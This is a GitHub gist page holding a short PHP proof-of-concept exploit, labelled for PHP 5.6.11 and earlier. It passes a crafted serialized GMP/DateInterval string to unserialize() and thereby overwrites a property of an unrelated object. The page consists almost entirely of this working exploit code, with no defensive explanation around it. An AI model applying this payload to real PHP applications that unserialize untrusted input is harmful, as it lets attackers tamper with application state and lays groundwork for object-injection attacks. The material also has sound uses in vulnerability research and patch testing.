Skip to content

Instantly share code, notes, and snippets.

@allyshka

allyshka/test.php

Created February 11, 2017 18:10
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save allyshka/ce3b52790344007d632a0bbe7560bc1e to your computer and use it in GitHub Desktop.
Save allyshka/ce3b52790344007d632a0bbe7560bc1e to your computer and use it in GitHub Desktop.
Download ZIP
PHP <= 5.6.11 DateInterval + GMP unserialize() object change exploit
Raw
test.php
<?php
$a = new stdClass; // handle = 1
$a->test = false;
echo('Property $a->test is: ');
var_dump($a->test);
$b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}');
echo('Property $a->test changed to: ');
var_dump($a->test);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment